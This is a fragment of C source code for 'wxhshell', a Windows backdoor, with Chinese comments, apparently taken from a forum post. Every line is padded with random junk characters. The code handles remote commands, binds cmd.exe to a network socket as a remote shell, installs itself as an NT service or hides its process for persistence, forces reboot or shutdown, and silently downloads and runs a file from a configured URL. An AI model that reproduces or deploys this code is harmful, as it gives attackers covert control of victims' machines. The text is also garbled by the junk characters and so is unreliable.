  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =rKJJa N  
  } c 4z&HQd  
  else { i>M%)HN  
aZ@pfWwa:  
    switch(cmd[0]) { Pps$=`  
  "vGh/sXW  
  // 帮助 0C4eer+D  
  case '?': { i/:L^SQAq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PMjNc_))  
    break; G,C`+1$*  
  } *6I$N>1  
  // 安装 d4o ^+\  
  case 'i': { 2A_1E \  
    if(Install()) J[lC$X[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hq.rG-,p  
    else eV7;#w<]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vr2A7kq  
    break; a4:GGzt  
    } 0ix(1`Z  
  // 卸载 >u=  
  case 'r': { tN#C.M7.'7  
    if(Uninstall()) C?qRZB+W#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xG!~TQ  
    else ^ `LqNG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h<9vm[.  
    break; 7FH(C`uKi  
    } _k:8ib2TQ  
  // 显示 wxhshell 所在路径 !}Xoqamm  
  case 'p': { 6 Bq_<3P_  
    char svExeFile[MAX_PATH]; ]B>76?2W  
    strcpy(svExeFile,"\n\r"); !MoAga_ j  
      strcat(svExeFile,ExeFile); 99yWUC,  
        send(wsh,svExeFile,strlen(svExeFile),0);  3IxC@QR  
    break; t/|0"\ p  
    } gIo\^ktW  
  // 重启 aM5]cc%  
  case 'b': { ?/|Xie  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E/cV59  
    if(Boot(REBOOT)) ^E}?YgNp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  h,/Aq  
    else { )kep:-wm  
    closesocket(wsh); aRTy=~  
    ExitThread(0); 're:_;lG  
    } FJn-cR.n  
    break; o~$O$  
    }  Bx45yaT  
  // 关机 A]c'T T@6  
  case 'd': { bM?gAY]mB8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7O1MC 8{  
    if(Boot(SHUTDOWN)) '$FF/|{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] SJ#:7  
    else { 7z? ;z<VJ  
    closesocket(wsh); |d0ZB_ci  
    ExitThread(0); B*tYp  
    } c64^u9  
    break; @)>Z+g  
    } h,c*:  
  // 获取shell @c^ Dl  
  case 's': { (dlp5:lQz  
    CmdShell(wsh); 88HqP!m%P:  
    closesocket(wsh); <::lfPP  
    ExitThread(0); >/ay'EyY;>  
    break; Zn9tG:V  
  } 8-#kY}d.  
  // 退出 3ijPm<wn  
  case 'x': { !hVbx#bXl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oC`F1!SfOO  
    CloseIt(wsh); :M(uP e=D  
    break; Sp>g77@  
    } A8f.h5~9  
  // 离开 [9 MH"\  
  case 'q': { <vcU5 .K.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xn*$Ty+  
    closesocket(wsh); y#Dh)~|k  
    WSACleanup(); pGD@R=8  
    exit(1); <0d2{RQ;  
    break;  G*z\ ^H  
        } 'K4FS(q  
  } hywcj\[  
  } ^QNc!{`  
=~ Uhr6Q  
  // 提示信息 I|rb"bG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SIp)&  
} z}E_ wg  
  } \%<M[r=  
[wQ48\^  
  return; =}Tm8b0  
} sD3ZZcy|=  
X&9: ^$m  
// shell模块句柄 Z3]I^i FI  
int CmdShell(SOCKET sock) 9gg{i6  
{ 8>YF}\D V  
STARTUPINFO si; 1<ag=D`F_"  
ZeroMemory(&si,sizeof(si)); ^+x?@$rq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^fsMfB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; * zp tbZ  
PROCESS_INFORMATION ProcessInfo; d-b04Q7DQ  
char cmdline[]="cmd"; K/W=r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uHU@j(&c  
  return 0; s|p I`  
} sZrVANyqb  
gGM fy]]R  
// 自身启动模式 6+$2rS$1V  
int StartFromService(void) -;9 }P  
{ J+/}m}bx  
typedef struct Y(Oh7VwY*P  
{ c'2/C5  
  DWORD ExitStatus; ujV{AF`JfB  
  DWORD PebBaseAddress; N,TV?Q5l7  
  DWORD AffinityMask; R!dC20IMvH  
  DWORD BasePriority; ZA="Dac  
  ULONG UniqueProcessId; 8e?/LA%MU  
  ULONG InheritedFromUniqueProcessId; 'dwW~4|B  
}   PROCESS_BASIC_INFORMATION; %jHm9{|X  
#I=EYl=Vvi  
PROCNTQSIP NtQueryInformationProcess; CNN9a7  
AYnPxiW|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?I=1T.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #Ha:O,|  
) lUS'I  
  HANDLE             hProcess; ^Wld6:L{I  
  PROCESS_BASIC_INFORMATION pbi; tLu&3<%  
4<Vi`X7[F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M FIb-*wT  
  if(NULL == hInst ) return 0; cK'g2S  
!Ubm 586!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g,d_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kG D_w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rxyv+@~Nc  
k ]NZ%.  
  if (!NtQueryInformationProcess) return 0; 8R*;8y_  
-m@c{&r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Qxz[  
  if(!hProcess) return 0; h  /  
LSta]81B4L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D;YfQQr  
P}4&J ^  
  CloseHandle(hProcess); .HZd.*  
h,{Q%sqO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V&f*+!!2  
if(hProcess==NULL) return 0; C&z!="hMhR  
"L2*RX.R  
HMODULE hMod; jZ.yt+9  
char procName[255]; _^FC 9  
unsigned long cbNeeded; SWr TM  
W'4/cO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l>\EkUT  
^BF}wQb :j  
  CloseHandle(hProcess); &ZD@-"@  
8xB-cE  
if(strstr(procName,"services")) return 1; // 以服务启动 u[)X="-e#  
m4m-JD|v  
  return 0; // 注册表启动 58Ibje  
} ?"@Fq2xgB4  
CE3l_[c  
// 主模块 O&?i#@5#  
int StartWxhshell(LPSTR lpCmdLine) ]({ -vG\m  
{ 5qrD~D '  
  SOCKET wsl; b^HDN(v  
BOOL val=TRUE; \=0;EI-j  
  int port=0; ]1++$Ej  
  struct sockaddr_in door; )|*Qs${tF  
d7^ `  
  if(wscfg.ws_autoins) Install(); v_zt$bf{Y  
q=3>ij {v  
port=atoi(lpCmdLine); H?"M&mF  
Ovt]3`U9J  
if(port<=0) port=wscfg.ws_port; qe.QF."y  
[ K?  
  WSADATA data; ;^/ruf[t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rs=Fcvl  
_&l8^MD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2 `AdNt,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [WDzaRzd  
  door.sin_family = AF_INET; =%|`gZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2_pF#M9  
  door.sin_port = htons(port); #czI nXTTx  
S #GxKMO%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !l*A3qA  
closesocket(wsl); p8,=K<  
return 1; k1,k 9BK  
} ~DD _n  
Owf!dMA;nF  
  if(listen(wsl,2) == INVALID_SOCKET) { W|2^yO,dX  
closesocket(wsl); VV Q~;{L  
return 1; _4>DuklH,  
} ;"&?Okz  
  Wxhshell(wsl); %<kfW&_>w  
  WSACleanup(); {jD?obs  
|it*w\+M  
return 0; LGL;3EI  
+c_AAMe  
} s{dm,|?Jl,  
~k34#j:J65  
// 以NT服务方式启动 IGTO|sT"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zh) &6'S\  
{ E6GubU  
DWORD   status = 0; "c[>>t  
  DWORD   specificError = 0xfffffff; 4(\1z6?D  
:Ak^M~6a5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !5dn7Wuj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oVw4M2!"K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %ZoJu  
  serviceStatus.dwWin32ExitCode     = 0; n@`3O'S  
  serviceStatus.dwServiceSpecificExitCode = 0; 3@=<4$  
  serviceStatus.dwCheckPoint       = 0; }!^h2)'7  
  serviceStatus.dwWaitHint       = 0; W $D 34(  
+(Y\w^@%H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SL uQv?R}9  
  if (hServiceStatusHandle==0) return; .Vt|;P}  
K21Xx`XK  
status = GetLastError(); 1le9YL1_g  
  if (status!=NO_ERROR) ZTTA??}Y  
{ |Kd6.Mx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @ fMlbJq  
    serviceStatus.dwCheckPoint       = 0; vE9"1M  
    serviceStatus.dwWaitHint       = 0; b#I,Z+0ry  
    serviceStatus.dwWin32ExitCode     = status; {b-C,J  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6Y[&1c8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s>;"bzzq  
    return; DSs/D1mj&  
  } <vl(a*4a  
)[hs#nKTh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !&OdbRHM  
  serviceStatus.dwCheckPoint       = 0; ^RnQX#+  
  serviceStatus.dwWaitHint       = 0; Y<;C>Rs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >> cW0I/`  
} ?4SYroXUX|  
q[/g3D\G  
// 处理NT服务事件,比如:启动、停止 @16y%]Q-E#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IRM jL.q  
{ %enJ[a%Qg  
switch(fdwControl) ` .`:~_OE  
{ ]}SV%*{ %  
case SERVICE_CONTROL_STOP: s;h`n$  
  serviceStatus.dwWin32ExitCode = 0; f@Mku0VT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PE7V1U#$o,  
  serviceStatus.dwCheckPoint   = 0; '0 Ys`Qo  
  serviceStatus.dwWaitHint     = 0; +]t9kr  
  { K/(LF}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =O8YU)#  
  } #~j$J  
  return; QqL?? p-S>  
case SERVICE_CONTROL_PAUSE: ,dba:D= l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `*CoVx~fk  
  break; b5g^{bzwu  
case SERVICE_CONTROL_CONTINUE: *Iw19o-I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q \X_JZ  
  break; blz#M #  
case SERVICE_CONTROL_INTERROGATE: &h[)nD  
  break; Jur$O,u40l  
}; 0D:uM$ i]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uj 3{c  
} RGV{KL  
gu3)HCZ  
// 标准应用程序主函数 >`3 0 ib  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^ &KH|qRrO  
{ R7Tl 1!,h  
fo}@B &=4  
// 获取操作系统版本 JBQ>"X^  
OsIsNt=GetOsVer(); 5YZ\@<|rH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ed,+Slg  
,,XHw;{  
  // 从命令行安装 w;VUP@Wm  
  if(strpbrk(lpCmdLine,"iI")) Install(); m";8 nm  
"~C \Z} ;  
  // 下载执行文件 |RpZr!3V  
if(wscfg.ws_downexe) { qyyLU@hd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i_6wD  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8Pom^QopK  
} oQyMs>g  
T5~Qfl?Y  
if(!OsIsNt) { #oGvxc7  
// 如果时win9x,隐藏进程并且设置为注册表启动 ziW[qH {  
HideProc(); KJ?/]oLr0  
StartWxhshell(lpCmdLine); TuMZHB7h;  
} yyR@kOGga  
else ~$a%& ]\  
  if(StartFromService()) K6<1&  
  // 以服务方式启动 w*SFQ_6YE  
  StartServiceCtrlDispatcher(DispatchTable); u@wQ )^  
else bv[*jr;45  
  // 普通方式启动 ,v| vgt  
  StartWxhshell(lpCmdLine); [-[|4|CnOm  
YS"76FJ  
return 0; /? j^Qu  
}
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只看该作者 1 发表于: 2006-10-10
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